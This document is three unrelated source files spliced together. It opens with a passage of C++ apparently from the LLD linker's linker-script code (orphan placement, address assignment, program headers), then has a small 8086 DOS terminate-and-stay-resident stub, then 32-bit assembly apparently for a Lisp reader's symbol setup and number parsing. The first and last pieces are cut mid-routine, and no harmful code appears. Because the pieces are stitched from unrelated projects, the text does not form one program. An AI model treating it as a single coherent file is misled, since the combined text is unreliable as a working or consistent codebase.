sec->recordSection(s);
} else {
if (OutputSection *os = addInputSec(map, s, name))
v.push_back(os);
assert(isa<MergeInputSection>(s) ||
s->getOutputSection()->sectionIndex == UINT32_MAX);
}
}
if (config->relocatable)
for (InputSectionBase *depSec : s->dependentSections)
if (depSec->flags & SHF_LINK_ORDER)
add(depSec);
};
// For further --emit-reloc handling code we need target output section
// to be created before we create relocation output section, so we want
// to create target sections first. We do not want priority handling
// for synthetic sections because them are special.
for (InputSectionBase *isec : inputSections) {
// In -r links, SHF_LINK_ORDER sections are added while adding their parent
// sections because we need to know the parent's output section before we
// can select an output section for the SHF_LINK_ORDER section.
if (config->relocatable && (isec->flags & SHF_LINK_ORDER))
continue;
if (auto *sec = dyn_cast<InputSection>(isec))
if (InputSectionBase *rel = sec->getRelocatedSection())
if (auto *relIS = dyn_cast_or_null<InputSectionBase>(rel->parent))
add(relIS);
add(isec);
}
// If no SECTIONS command was given, we should insert sections commands
// before others, so that we can handle scripts which refers them,
// for example: "foo = ABSOLUTE(ADDR(.text)));".
// When SECTIONS command is present we just add all orphans to the end.
if (hasSectionsCommand)
sectionCommands.insert(sectionCommands.end(), v.begin(), v.end());
else
sectionCommands.insert(sectionCommands.begin(), v.begin(), v.end());
}
void LinkerScript::diagnoseOrphanHandling() const {
llvm::TimeTraceScope timeScope("Diagnose orphan sections");
if (config->orphanHandling == OrphanHandlingPolicy::Place)
return;
for (const InputSectionBase *sec : orphanSections) {
// Input SHT_REL[A] retained by --emit-relocs are ignored by
// computeInputSections(). Don't warn/error.
if (isa<InputSection>(sec) &&
cast<InputSection>(sec)->getRelocatedSection())
continue;
StringRef name = getOutputSectionName(sec);
if (config->orphanHandling == OrphanHandlingPolicy::Error)
error(toString(sec) + " is being placed in '" + name + "'");
else
warn(toString(sec) + " is being placed in '" + name + "'");
}
}
uint64_t LinkerScript::advance(uint64_t size, unsigned alignment) {
bool isTbss =
(ctx->outSec->flags & SHF_TLS) && ctx->outSec->type == SHT_NOBITS;
uint64_t start = isTbss ? dot + ctx->threadBssOffset : dot;
start = alignTo(start, alignment);
uint64_t end = start + size;
if (isTbss)
ctx->threadBssOffset = end - dot;
else
dot = end;
return end;
}
void LinkerScript::output(InputSection *s) {
assert(ctx->outSec == s->getParent());
uint64_t before = advance(0, 1);
uint64_t pos = advance(s->getSize(), s->alignment);
s->outSecOff = pos - s->getSize() - ctx->outSec->addr;
// Update output section size after adding each section. This is so that
// SIZEOF works correctly in the case below:
// .foo { *(.aaa) a = SIZEOF(.foo); *(.bbb) }
expandOutputSection(pos - before);
}
void LinkerScript::switchTo(OutputSection *sec) {
ctx->outSec = sec;
uint64_t pos = advance(0, 1);
if (sec->addrExpr && script->hasSectionsCommand) {
// The alignment is ignored.
ctx->outSec->addr = pos;
} else {
// ctx->outSec->alignment is the max of ALIGN and the maximum of input
// section alignments.
ctx->outSec->addr = advance(0, ctx->outSec->alignment);
expandMemoryRegions(ctx->outSec->addr - pos);
}
}
// This function searches for a memory region to place the given output
// section in. If found, a pointer to the appropriate memory region is
// returned. Otherwise, a nullptr is returned.
MemoryRegion *LinkerScript::findMemoryRegion(OutputSection *sec) {
// If a memory region name was specified in the output section command,
// then try to find that region first.
if (!sec->memoryRegionName.empty()) {
if (MemoryRegion *m = memoryRegions.lookup(sec->memoryRegionName))
return m;
error("memory region '" + sec->memoryRegionName + "' not declared");
return nullptr;
}
// If at least one memory region is defined, all sections must
// belong to some memory region. Otherwise, we don't need to do
// anything for memory regions.
if (memoryRegions.empty())
return nullptr;
// See if a region can be found by matching section flags.
for (auto &pair : memoryRegions) {
MemoryRegion *m = pair.second;
if ((m->flags & sec->flags) && (m->negFlags & sec->flags) == 0)
return m;
}
// Otherwise, no suitable region was found.
if (sec->flags & SHF_ALLOC)
error("no memory region specified for section '" + sec->name + "'");
return nullptr;
}
static OutputSection *findFirstSection(PhdrEntry *load) {
for (OutputSection *sec : outputSections)
if (sec->ptLoad == load)
return sec;
return nullptr;
}
// This function assigns offsets to input sections and an output section
// for a single sections command (e.g. ".text { *(.text); }").
void LinkerScript::assignOffsets(OutputSection *sec) {
const bool sameMemRegion = ctx->memRegion == sec->memRegion;
const bool prevLMARegionIsDefault = ctx->lmaRegion == nullptr;
const uint64_t savedDot = dot;
ctx->memRegion = sec->memRegion;
ctx->lmaRegion = sec->lmaRegion;
if (sec->flags & SHF_ALLOC) {
if (ctx->memRegion)
dot = ctx->memRegion->curPos;
if (sec->addrExpr)
setDot(sec->addrExpr, sec->location, false);
// If the address of the section has been moved forward by an explicit
// expression so that it now starts past the current curPos of the enclosing
// region, we need to expand the current region to account for the space
// between the previous section, if any, and the start of this section.
if (ctx->memRegion && ctx->memRegion->curPos < dot)
expandMemoryRegion(ctx->memRegion, dot - ctx->memRegion->curPos,
ctx->memRegion->name, sec->name);
} else {
// Non-SHF_ALLOC sections have zero addresses.
dot = 0;
}
switchTo(sec);
// ctx->lmaOffset is LMA minus VMA. If LMA is explicitly specified via AT() or
// AT>, recompute ctx->lmaOffset; otherwise, if both previous/current LMA
// region is the default, and the two sections are in the same memory region,
// reuse previous lmaOffset; otherwise, reset lmaOffset to 0. This emulates
// heuristics described in
// https://sourceware.org/binutils/docs/ld/Output-Section-LMA.html
if (sec->lmaExpr)
ctx->lmaOffset = sec->lmaExpr().getValue() - dot;
else if (MemoryRegion *mr = sec->lmaRegion)
ctx->lmaOffset = alignTo(mr->curPos, sec->alignment) - dot;
else if (!sameMemRegion || !prevLMARegionIsDefault)
ctx->lmaOffset = 0;
// Propagate ctx->lmaOffset to the first "non-header" section.
if (PhdrEntry *l = ctx->outSec->ptLoad)
if (sec == findFirstSection(l))
l->lmaOffset = ctx->lmaOffset;
// We can call this method multiple times during the creation of
// thunks and want to start over calculation each time.
sec->size = 0;
// We visited SectionsCommands from processSectionCommands to
// layout sections. Now, we visit SectionsCommands again to fix
// section offsets.
for (BaseCommand *base : sec->sectionCommands) {
// This handles the assignments to symbol or to the dot.
if (auto *cmd = dyn_cast<SymbolAssignment>(base)) {
cmd->addr = dot;
assignSymbol(cmd, true);
cmd->size = dot - cmd->addr;
continue;
}
// Handle BYTE(), SHORT(), LONG(), or QUAD().
if (auto *cmd = dyn_cast<ByteCommand>(base)) {
cmd->offset = dot - ctx->outSec->addr;
dot += cmd->size;
expandOutputSection(cmd->size);
continue;
}
// Handle a single input section description command.
// It calculates and assigns the offsets for each section and also
// updates the output section size.
for (InputSection *sec : cast<InputSectionDescription>(base)->sections)
output(sec);
}
// Non-SHF_ALLOC sections do not affect the addresses of other OutputSections
// as they are not part of the process image.
if (!(sec->flags & SHF_ALLOC))
dot = savedDot;
}
static bool isDiscardable(OutputSection &sec) {
if (sec.name == "/DISCARD/")
return true;
// We do not want to remove OutputSections with expressions that reference
// symbols even if the OutputSection is empty. We want to ensure that the
// expressions can be evaluated and report an error if they cannot.
if (sec.expressionsUseSymbols)
return false;
// OutputSections may be referenced by name in ADDR and LOADADDR expressions,
// as an empty Section can has a valid VMA and LMA we keep the OutputSection
// to maintain the integrity of the other Expression.
if (sec.usedInExpression)
return false;
for (BaseCommand *base : sec.sectionCommands) {
if (auto cmd = dyn_cast<SymbolAssignment>(base))
// Don't create empty output sections just for unreferenced PROVIDE
// symbols.
if (cmd->name != "." && !cmd->sym)
continue;
if (!isa<InputSectionDescription>(*base))
return false;
}
return true;
}
static void maybePropagatePhdrs(OutputSection &sec,
std::vector<StringRef> &phdrs) {
if (sec.phdrs.empty()) {
// To match the bfd linker script behaviour, only propagate program
// headers to sections that are allocated.
if (sec.flags & SHF_ALLOC)
sec.phdrs = phdrs;
} else {
phdrs = sec.phdrs;
}
}
void LinkerScript::adjustSectionsBeforeSorting() {
// If the output section contains only symbol assignments, create a
// corresponding output section. The issue is what to do with linker script
// like ".foo : { symbol = 42; }". One option would be to convert it to
// "symbol = 42;". That is, move the symbol out of the empty section
// description. That seems to be what bfd does for this simple case. The
// problem is that this is not completely general. bfd will give up and
// create a dummy section too if there is a ". = . + 1" inside the section
// for example.
// Given that we want to create the section, we have to worry what impact
// it will have on the link. For example, if we just create a section with
// 0 for flags, it would change which PT_LOADs are created.
// We could remember that particular section is dummy and ignore it in
// other parts of the linker, but unfortunately there are quite a few places
// that would need to change:
// * The program header creation.
// * The orphan section placement.
// * The address assignment.
// The other option is to pick flags that minimize the impact the section
// will have on the rest of the linker. That is why we copy the flags from
// the previous sections. Only a few flags are needed to keep the impact low.
uint64_t flags = SHF_ALLOC;
std::vector<StringRef> defPhdrs;
for (BaseCommand *&cmd : sectionCommands) {
auto *sec = dyn_cast<OutputSection>(cmd);
if (!sec)
continue;
// Handle align (e.g. ".foo : ALIGN(16) { ... }").
if (sec->alignExpr)
sec->alignment =
std::max<uint32_t>(sec->alignment, sec->alignExpr().getValue());
// The input section might have been removed (if it was an empty synthetic
// section), but we at least know the flags.
if (sec->hasInputSections)
flags = sec->flags;
// We do not want to keep any special flags for output section
// in case it is empty.
bool isEmpty = (getFirstInputSection(sec) == nullptr);
if (isEmpty)
sec->flags = flags & ((sec->nonAlloc ? 0 : (uint64_t)SHF_ALLOC) |
SHF_WRITE | SHF_EXECINSTR);
// The code below may remove empty output sections. We should save the
// specified program headers (if exist) and propagate them to subsequent
// sections which do not specify program headers.
// An example of such a linker script is:
// SECTIONS { .empty : { *(.empty) } :rw
// .foo : { *(.foo) } }
// Note: at this point the order of output sections has not been finalized,
// because orphans have not been inserted into their expected positions. We
// will handle them in adjustSectionsAfterSorting().
if (sec->sectionIndex != UINT32_MAX)
maybePropagatePhdrs(*sec, defPhdrs);
if (isEmpty && isDiscardable(*sec)) {
sec->markDead();
cmd = nullptr;
}
}
// It is common practice to use very generic linker scripts. So for any
// given run some of the output sections in the script will be empty.
// We could create corresponding empty output sections, but that would
// clutter the output.
// We instead remove trivially empty sections. The bfd linker seems even
// more aggressive at removing them.
llvm::erase_if(sectionCommands, [&](BaseCommand *base) { return !base; });
}
void LinkerScript::adjustSectionsAfterSorting() {
// Try and find an appropriate memory region to assign offsets in.
for (BaseCommand *base : sectionCommands) {
if (auto *sec = dyn_cast<OutputSection>(base)) {
if (!sec->lmaRegionName.empty()) {
if (MemoryRegion *m = memoryRegions.lookup(sec->lmaRegionName))
sec->lmaRegion = m;
else
error("memory region '" + sec->lmaRegionName + "' not declared");
}
sec->memRegion = findMemoryRegion(sec);
}
}
// If output section command doesn't specify any segments,
// and we haven't previously assigned any section to segment,
// then we simply assign section to the very first load segment.
// Below is an example of such linker script:
// PHDRS { seg PT_LOAD; }
// SECTIONS { .aaa : { *(.aaa) } }
std::vector<StringRef> defPhdrs;
auto firstPtLoad = llvm::find_if(phdrsCommands, [](const PhdrsCommand &cmd) {
return cmd.type == PT_LOAD;
});
if (firstPtLoad != phdrsCommands.end())
defPhdrs.push_back(firstPtLoad->name);
// Walk the commands and propagate the program headers to commands that don't
// explicitly specify them.
for (BaseCommand *base : sectionCommands)
if (auto *sec = dyn_cast<OutputSection>(base))
maybePropagatePhdrs(*sec, defPhdrs);
}
static uint64_t computeBase(uint64_t min, bool allocateHeaders) {
// If there is no SECTIONS or if the linkerscript is explicit about program
// headers, do our best to allocate them.
if (!script->hasSectionsCommand || allocateHeaders)
return 0;
// Otherwise only allocate program headers if that would not add a page.
return alignDown(min, config->maxPageSize);
}
// When the SECTIONS command is used, try to find an address for the file and
// program headers output sections, which can be added to the first PT_LOAD
// segment when program headers are created.
//
// We check if the headers fit below the first allocated section. If there isn't
// enough space for these sections, we'll remove them from the PT_LOAD segment,
// and we'll also remove the PT_PHDR segment.
void LinkerScript::allocateHeaders(std::vector<PhdrEntry *> &phdrs) {
uint64_t min = std::numeric_limits<uint64_t>::max();
for (OutputSection *sec : outputSections)
if (sec->flags & SHF_ALLOC)
min = std::min<uint64_t>(min, sec->addr);
auto it = llvm::find_if(
phdrs, [](const PhdrEntry *e) { return e->p_type == PT_LOAD; });
if (it == phdrs.end())
return;
PhdrEntry *firstPTLoad = *it;
bool hasExplicitHeaders =
llvm::any_of(phdrsCommands, [](const PhdrsCommand &cmd) {
return cmd.hasPhdrs || cmd.hasFilehdr;
});
bool paged = !config->omagic && !config->nmagic;
uint64_t headerSize = getHeaderSize();
if ((paged || hasExplicitHeaders) &&
headerSize <= min - computeBase(min, hasExplicitHeaders)) {
min = alignDown(min - headerSize, config->maxPageSize);
Out::elfHeader->addr = min;
Out::programHeaders->addr = min + Out::elfHeader->size;
return;
}
// Error if we were explicitly asked to allocate headers.
if (hasExplicitHeaders)
error("could not allocate headers");
Out::elfHeader->ptLoad = nullptr;
Out::programHeaders->ptLoad = nullptr;
firstPTLoad->firstSec = findFirstSection(firstPTLoad);
llvm::erase_if(phdrs,
[](const PhdrEntry *e) { return e->p_type == PT_PHDR; });
}
LinkerScript::AddressState::AddressState() {
for (auto &mri : script->memoryRegions) {
MemoryRegion *mr = mri.second;
mr->curPos = (mr->origin)().getValue();
}
}
// Here we assign addresses as instructed by linker script SECTIONS
// sub-commands. Doing that allows us to use final VA values, so here
// we also handle rest commands like symbol assignments and ASSERTs.
// Returns a symbol that has changed its section or value, or nullptr if no
// symbol has changed.
const Defined *LinkerScript::assignAddresses() {
if (script->hasSectionsCommand) {
// With a linker script, assignment of addresses to headers is covered by
// allocateHeaders().
dot = config->imageBase.getValueOr(0);
} else {
// Assign addresses to headers right now.
dot = target->getImageBase();
Out::elfHeader->addr = dot;
Out::programHeaders->addr = dot + Out::elfHeader->size;
dot += getHeaderSize();
}
auto deleter = std::make_unique<AddressState>();
ctx = deleter.get();
errorOnMissingSection = true;
switchTo(aether);
SymbolAssignmentMap oldValues = getSymbolAssignmentValues(sectionCommands);
for (BaseCommand *base : sectionCommands) {
if (auto *cmd = dyn_cast<SymbolAssignment>(base)) {
cmd->addr = dot;
assignSymbol(cmd, false);
cmd->size = dot - cmd->addr;
continue;
}
assignOffsets(cast<OutputSection>(base));
}
ctx = nullptr;
return getChangedSymbolAssignment(oldValues);
}
// Creates program headers as instructed by PHDRS linker script command.
std::vector<PhdrEntry *> LinkerScript::createPhdrs() {
std::vector<PhdrEntry *> ret;
// Process PHDRS and FILEHDR keywords because they are not
// real output sections and cannot be added in the following loop.
for (const PhdrsCommand &cmd : phdrsCommands) {
PhdrEntry *phdr = make<PhdrEntry>(cmd.type, cmd.flags ? *cmd.flags : PF_R);
if (cmd.hasFilehdr)
phdr->add(Out::elfHeader);
if (cmd.hasPhdrs)
phdr->add(Out::programHeaders);
if (cmd.lmaExpr) {
phdr->p_paddr = cmd.lmaExpr().getValue();
phdr->hasLMA = true;
}
ret.push_back(phdr);
}
// Add output sections to program headers.
for (OutputSection *sec : outputSections) {
// Assign headers specified by linker script
for (size_t id : getPhdrIndices(sec)) {
ret[id]->add(sec);
if (!phdrsCommands[id].flags.hasValue())
ret[id]->p_flags |= sec->getPhdrFlags();
}
}
return ret;
}
// Returns true if we should emit an .interp section.
//
// We usually do. But if PHDRS commands are given, and
// no PT_INTERP is there, there's no place to emit an
// .interp, so we don't do that in that case.
bool LinkerScript::needsInterpSection() {
if (phdrsCommands.empty())
return true;
for (PhdrsCommand &cmd : phdrsCommands)
if (cmd.type == PT_INTERP)
return true;
return false;
}
ExprValue LinkerScript::getSymbolValue(StringRef name, const Twine &loc) {
if (name == ".") {
if (ctx)
return {ctx->outSec, false, dot - ctx->outSec->addr, loc};
error(loc + ": unable to get location counter value");
return 0;
}
if (Symbol *sym = symtab->find(name)) {
if (auto *ds = dyn_cast<Defined>(sym)) {
ExprValue v{ds->section, false, ds->value, loc};
// Retain the original st_type, so that the alias will get the same
// behavior in relocation processing. Any operation will reset st_type to
// STT_NOTYPE.
v.type = ds->type;
return v;
}
if (isa<SharedSymbol>(sym))
if (!errorOnMissingSection)
return {nullptr, false, 0, loc};
}
error(loc + ": symbol not found: " + name);
return 0;
}
// Returns the index of the segment named Name.
static Optional<size_t> getPhdrIndex(ArrayRef<PhdrsCommand> vec,
StringRef name) {
for (size_t i = 0; i < vec.size(); ++i)
if (vec[i].name == name)
return i;
return None;
}
// Returns indices of ELF headers containing specific section. Each index is a
// zero based number of ELF header listed within PHDRS {} script block.
std::vector<size_t> LinkerScript::getPhdrIndices(OutputSection *cmd) {
std::vector<size_t> ret;
for (StringRef s : cmd->phdrs) {
if (Optional<size_t> idx = getPhdrIndex(phdrsCommands, s))
ret.push_back(*idx);
else if (s != "NONE")
error(cmd->location + ": program header '" + s +
"' is not listed in PHDRS");
}
return ret;
}
|
%undef ROM
%undef STANDALONE
[BITS 16]
[CPU 8086]
[ORG 0x0100]
[SECTION .text]
call Init_Data
call Init_CheckMem
call Init_INT
xor ah, ah
int 10h
call Finish
int 20h
%include 'src/8088/include/debug.asm'
%include 'src/8088/include/ipc.asm'
%include 'src/8088/include/int.asm'
%include 'src/8088/include/data.asm'
; Resident code ends here.
EndResident:
%include 'src/8088/include/init.asm'
Finish:
mov ah, 09h
mov dx, Version_Banner
int 21h
mov dx, EndResident
int 27h
ret
%include 'src/8088/include/version.asm'
|
.386p
.387
include read.dat
assume cs:FLAT,ds:FLAT,es:FLAT,fs:FLAT,gs:FLAT,ss:FLAT
_TEXT segment para use32 public 'CODE'
include read.equ
ini_read proc near
mov dword ptr [ringur],esi
mov dword ptr [curread],esi
mov dword ptr [impli],esi
mov dword ptr [impld],esi
mov ebp,dword ptr [zllsystem]
mov dword ptr [cpkgc],ebp
mov eax,14
mov ebx,offset FLAT:pnmac1466
mov ecx,offset FLAT:zstatrc
call near ptr inicst
mov dword ptr [eax],esi
mov eax,12
mov ebx,offset FLAT:pnmac1467
mov ecx,offset FLAT:zstinread
call near ptr inicst
mov dword ptr [eax],esi
mov dword ptr [cpkgc],esi
mov eax,4
mov ebx,offset FLAT:pnmac1468
mov ecx,offset FLAT:lread
mov edx,offset FLAT:zlread
push z_lread
call near ptr inisymb
mov eax,7
mov ebx,offset FLAT:pnmac1469
mov ecx,offset FLAT:implode
mov edx,offset FLAT:zimplode
push z_implode
call near ptr inisymb
mov eax,9
mov ebx,offset FLAT:pnmac1470
mov ecx,offset FLAT:implodech
mov edx,offset FLAT:zimplodech
push z_implodech
call near ptr inisymb
mov eax,6
mov ebx,offset FLAT:pnmac1471
mov ecx,offset FLAT:readch
mov edx,offset FLAT:zreadch
push z_readch
call near ptr inisymb
mov eax,6
mov ebx,offset FLAT:pnmac1472
mov ecx,offset FLAT:readcod
mov edx,offset FLAT:zreadcod
push z_readcod
call near ptr inisymb
mov eax,7
mov ebx,offset FLAT:pnmac1473
mov ecx,offset FLAT:lcuread
mov edx,offset FLAT:zlcuread
push z_lcuread
call near ptr inisymb
mov eax,6
mov ebx,offset FLAT:pnmac1474
mov ecx,offset FLAT:teread
mov edx,offset FLAT:zteread
push z_teread
call near ptr inisymb
mov eax,6
mov ebx,offset FLAT:pnmac1475
mov ecx,offset FLAT:reread
mov edx,offset FLAT:zreread
push z_reread
call near ptr inisymb
mov eax,8
mov ebx,offset FLAT:pnmac1476
mov ecx,offset FLAT:readline
mov edx,offset FLAT:zreadline
push z_readline
call near ptr inisymb
mov eax,10
mov ebx,offset FLAT:pnmac1477
mov ecx,offset FLAT:readstrg
mov edx,offset FLAT:zreadstrg
push z_readstrg
call near ptr inisymb
mov eax,7
mov ebx,offset FLAT:pnmac1478
mov ecx,offset FLAT:stratom
mov edx,offset FLAT:zstratom
push z_stratom
call near ptr inisymb
mov eax,19
mov ebx,offset FLAT:pnmac1479
mov ecx,offset FLAT:readdltd
mov edx,offset FLAT:zreaddltd
push z_readdltd
call near ptr inisymb
mov eax,6
mov ebx,offset FLAT:pnmac1480
mov ecx,offset FLAT:peekch
mov edx,offset FLAT:zpeekch
push z_peekch
call near ptr inisymb
mov eax,6
mov ebx,offset FLAT:pnmac1481
mov ecx,offset FLAT:peekcn
mov edx,offset FLAT:zpeekcn
push z_peekcn
call near ptr inisymb
mov eax,10
mov ebx,offset FLAT:pnmac1482
mov ecx,offset FLAT:concatpk
mov edx,offset FLAT:zconcatpk
push z_concatpk
call near ptr inisymb
mov eax,5
mov ebx,offset FLAT:pnmac1483
mov ecx,offset FLAT:fascii
mov edx,offset FLAT:zfascii
push z_fascii
call near ptr inisymb
mov eax,6
mov ebx,offset FLAT:pnmac1484
mov ecx,offset FLAT:cascii
mov edx,offset FLAT:zcascii
push z_cascii
call near ptr inisymb
mov eax,9
mov ebx,offset FLAT:pnmac1485
mov ecx,offset FLAT:uppercase
mov edx,offset FLAT:zuppercase
push z_uppercase
call near ptr inisymb
mov eax,9
mov ebx,offset FLAT:pnmac1486
mov ecx,offset FLAT:lowercase
mov edx,offset FLAT:zlowercase
push z_lowercase
call near ptr inisymb
mov eax,6
mov ebx,offset FLAT:pnmac1487
mov ecx,offset FLAT:asciip
mov edx,offset FLAT:zasciip
push z_asciip
call near ptr inisymb
mov eax,6
mov ebx,offset FLAT:pnmac1488
mov ecx,offset FLAT:digitp
mov edx,offset FLAT:zdigitp
push z_digitp
call near ptr inisymb
mov eax,7
mov ebx,offset FLAT:pnmac1489
mov ecx,offset FLAT:letterp
mov edx,offset FLAT:zletterp
push z_letterp
call near ptr inisymb
mov eax,5
mov ebx,offset FLAT:pnmac1490
mov ecx,offset FLAT:fibase
mov edx,offset FLAT:zfibase
push z_fibase
call near ptr inisymb
mov dword ptr [ibase],10
mov eax,256
mov ebx,12
call near ptr makestrg
mov dword ptr [tabch],eax
mov ebp,dword ptr [eax]
mov byte ptr [ebp+8],0
mov ebp,dword ptr [eax]
mov byte ptr [ebp+16],7
mov ebp,dword ptr [eax]
mov byte ptr [ebp+17],7
mov ebp,dword ptr [eax]
mov byte ptr [ebp+18],2
mov ebp,dword ptr [eax]
mov byte ptr [ebp+19],7
mov ebp,dword ptr [eax]
mov byte ptr [ebp+20],7
mov ebp,dword ptr [eax]
mov byte ptr [ebp+21],2
mov ebp,dword ptr [eax]
mov byte ptr [ebp+40],7
mov ebp,dword ptr [eax]
mov byte ptr [ebp+42],11
mov ebp,dword ptr [eax]
mov byte ptr [ebp+43],9
mov ebp,dword ptr [eax]
mov byte ptr [ebp+47],10
mov ebp,dword ptr [eax]
mov byte ptr [ebp+48],4
mov ebp,dword ptr [eax]
mov byte ptr [ebp+49],5
mov ebp,dword ptr [eax]
mov byte ptr [ebp+52],10
mov ebp,dword ptr [eax]
mov byte ptr [ebp+54],6
mov ebp,dword ptr [eax]
mov byte ptr [ebp+66],10
mov ebp,dword ptr [eax]
mov byte ptr [ebp+67],1
mov ebp,dword ptr [eax]
mov byte ptr [ebp+99],10
mov ebp,dword ptr [eax]
mov byte ptr [ebp+101],10
mov ebp,dword ptr [eax]
mov byte ptr [ebp+102],10
mov ebp,dword ptr [eax]
mov byte ptr [ebp+104],10
mov ebp,dword ptr [eax]
mov byte ptr [ebp+132],13
mov ebp,dword ptr [eax]
mov byte ptr [ebp+135],0
mov dword ptr [lgbufat],1024
mov eax,dword ptr [lgbufat]
xor ebx,ebx
call near ptr makestrg
mov dword ptr [bufat],eax
mov eax,128
xor ebx,ebx
call near ptr makevect
mov dword ptr [cachch],eax
ret
rdpopj label near
ret
hashint label near
mov ebx,eax
mov ebp,dword ptr [ebx]
mov eax,dword ptr [4+ebp]
hashfast label near
mov ecx,eax
cmp ax,6
jle near ptr hashcour
push ecx
mov ecx,5
hashf1 label near
mov ebp,dword ptr [ebx]
movzx edx,byte ptr [ebp+ecx+8]
add ax,ax
add ax,dx
dec cx
jge near ptr hashf1
mov ecx,5
hashf5 label near
xchg dword ptr [esp],ecx
dec cx
mov ebp,dword ptr [ebx]
movzx edx,byte ptr [ebp+ecx+8]
add ax,ax
add ax,dx
xchg dword ptr [esp],ecx
dec cx
jge near ptr hashf5
pop ecx
jmp near ptr hashend
hashcour label near
or ax,ax
je near ptr hashret
jmp near ptr hashcou3
hashcou1 label near
mov ebp,dword ptr [ebx]
movzx edx,byte ptr [ebp+ecx+8]
add ax,ax
add ax,dx
hashcou3 label near
dec cx
jge near ptr hashcou1
hashend label near
and ax,32767
mov ebp,dword ptr [hashtab]
mov ebp,dword ptr [ebp]
mov edx,dword ptr [4+ebp]
or edx,edx
jz short l9__1
mov ebp,edx
cwd
idiv bp
movzx eax,dx
mov edx,ebp
l9__1:
hashret label near
ret
inisymb label near
push edx
push ecx
call near ptr crastrg
mov ebx,eax
call near ptr crasymb
pop edx
mov dword ptr [8+eax],edx
pop edx
cmp edx,esi
je near ptr inisymr
mov dword ptr [edx],eax
inisymr label near
pop ecx
pop edx
mov word ptr [24+eax],dx
jmp ecx
inicst label near
push ecx
call near ptr crastrg
mov ebx,eax
call near ptr crasymb
mov dword ptr [eax],eax
pop ecx
cmp ecx,esi
je near ptr inicstr
mov dword ptr [ecx],eax
inicstr label near
ret
crasymb label near
call near ptr symballc
push eax
mov ebp,dword ptr [cpkgc]
mov dword ptr [12+eax],ebp
mov dword ptr [28+eax],ebx
mov ebp,dword ptr [ebx]
mov eax,dword ptr [4+ebp]
call near ptr trysymb0
pop eax
cmp bx,1
je near ptr plac2d
cmp bx,2
je near ptr plac3d12
jmp near ptr plac3d2n
inasymb label near
mov ebp,dword ptr [zundef]
mov dword ptr [eax],ebp
inasymb2 label near
mov dword ptr [4+eax],esi
mov word ptr [26+eax],0
mov ebp,dword ptr [cpkgc]
mov dword ptr [12+eax],ebp
mov dword ptr [16+eax],esi
push eax
mov ebx,dword ptr [28+eax]
mov ebp,dword ptr [ebx]
mov eax,dword ptr [4+ebp]
call near ptr trysymb0
pop eax
cmp bx,1
je near ptr plac2d
cmp bx,2
je near ptr plac3d12
jmp near ptr plac3d2n
inacst label near
mov dword ptr [eax],eax
mov dword ptr [8+eax],0
mov word ptr [24+eax],0
jmp near ptr inasymb2
makefix label near
mov dword ptr [negatif],esi
xor ecx,ecx
makefix0 label near
xor eax,eax
mov ebp,dword ptr [ebx]
movzx edx,byte ptr [ebp+ecx+8]
cmp dx,43
je near ptr makefix8
cmp dx,45
jne near ptr makefix1
mov dword ptr [negatif],edx
jmp near ptr makefix8
makefix1 label near
mov ebp,dword ptr [ebx]
movzx edx,byte ptr [ebp+ecx+8]
cmp dx,47
je near ptr makefxr1
cmp dx,48
jl near ptr makefxd1
cmp dx,57
jg near ptr makefxd1
sub dx,48
jmp near ptr makefix2
makefxd1 label near
cmp dx,65
jl near ptr makefxd2
cmp dx,90
jg near ptr makefxd2
sub dx,65
add dx,10
jmp near ptr makefix2
makefxd2 label near
cmp dx,97
jl near ptr makefix2
cmp dx,122
jg near ptr makefix2
sub dx,97
add dx,10
makefix2 label near
cmp word ptr [ibase],10
je near ptr makefix6
imul ax,word ptr [ibase]
jo near ptr makefix3
makefix3 label near
add ax,dx
jo near ptr makefix4
makefix4 label near
jmp near ptr makefix8
makefix6 label near
push ebx
push ecx
push edx
mov ebx,dword ptr [ibase]
mov edx,2
call near ptr gatim2i
pop ebx
mov edx,2
call near ptr gaplus2i
pop ecx
pop ebx
makefix8 label near
inc cx
cmp cx,word ptr [tsymb000]
jne near ptr makefix1
cmp dword ptr [negatif],esi
je near ptr makefixr
jmp near ptr gadinv
makefixr label near
ret
makefxr1 label near
cmp dword ptr [negatif],esi
je near ptr makefixr2
push ebx
push ecx
call near ptr gadinv
pop ecx
pop ebx
makefixr2 label near
push eax
inc cx
mov dword ptr [negatif],esi
call near ptr makefix0
push eax
mov edx,2
jmp near ptr gadiv
makeflo label near
;; CVATOF
push ebp
mov ebp,dword ptr [ebx]
add ebp,8
mov dword ptr [crwork],ebp
pop ebp
mov ebp,dword ptr [crwork]
mov eax,dword ptr [tsymb000]
mov byte ptr [ebp+eax],0
;; Prepare a C function call with 1 arguments.
push eax
push ebx
push ecx
push edx
push esi
push edi
push dword ptr [crwork]
call near ptr _llrt_cvatof
add esp,4
pop edi
pop esi
pop edx
pop ecx
pop ebx
pop eax
;; We are back to Lisp!
cmp dword ptr [ffloat],0
jne short laf__2
call near ptr gcfloat
laf__2:
mov ebp,dword ptr [ffloat]
mov ebp,dword ptr [ebp]
xchg ebp,dword ptr [ffloat]
mov eax,ebp
fstp qword ptr [ebp]
fwait
;; CVATOF
ret
nextfix label near
cmp cx,word ptr [tsymb000]
jne near ptr nextxxx
add esp,4
jmp near ptr makefix
nextflo label near
cmp cx,word ptr [tsymb000]
jne near ptr nextxxx
add esp,4
jmp near ptr makeflo
nextsym label near
cmp cx,word ptr [tsymb000]
jne near ptr nextxxx
add esp,4
jmp near ptr trysymi
nextxxx label near
mov ebp,dword ptr [ebx]
movzx edx,byte ptr [ebp+ecx+8]
inc cx
ret
digitpi label near
mov eax,edx
cmp dx,48
jl near ptr digitpi1
cmp dx,57
jg near ptr digitpi1
sub ax,48
jmp near ptr digitpi9
digitpi1 label near
cmp dx,65
jl near ptr digitpi2
cmp dx,90
jg near ptr digitpi2
sub ax,65
jmp near ptr digitpi8
digitpi2 label near
cmp dx,97
jl near ptr digitpif
cmp dx,122
jg near ptr digitpif
sub ax,97
digitpi8 label near
add ax,10
digitpi9 label near
cmp ax,word ptr [ibase]
jge near ptr digitpif
cmp ax,57
jle near ptr digitpt
mov dword ptr [all09],esi
digitpit label near
ret
digitpif label near
mov eax,esi
ret
base10p label near
cmp dx,48
jl near ptr digitpif
cmp dx,57
jg near ptr digitpif
mov eax,edx
ret
tryatom label near
or ax,ax
jne near ptr trynum
cmp dword ptr [cpkgc],esi
jne near ptr trynum
mov eax,esi
ret
trynum label near
mov dword ptr [tsymb000],eax
mov dword ptr [asymb],ebx
cmp dword ptr [quotes],esi
jne near ptr trysymi
xor ecx,ecx
mov dword ptr [all09],ecx
call near ptr nextsym
cmp dx,46
je near ptr tryflo0
cmp dx,45
je near ptr tryfix0
cmp dx,43
je near ptr tryfix0
call near ptr digitpi
cmp eax,esi
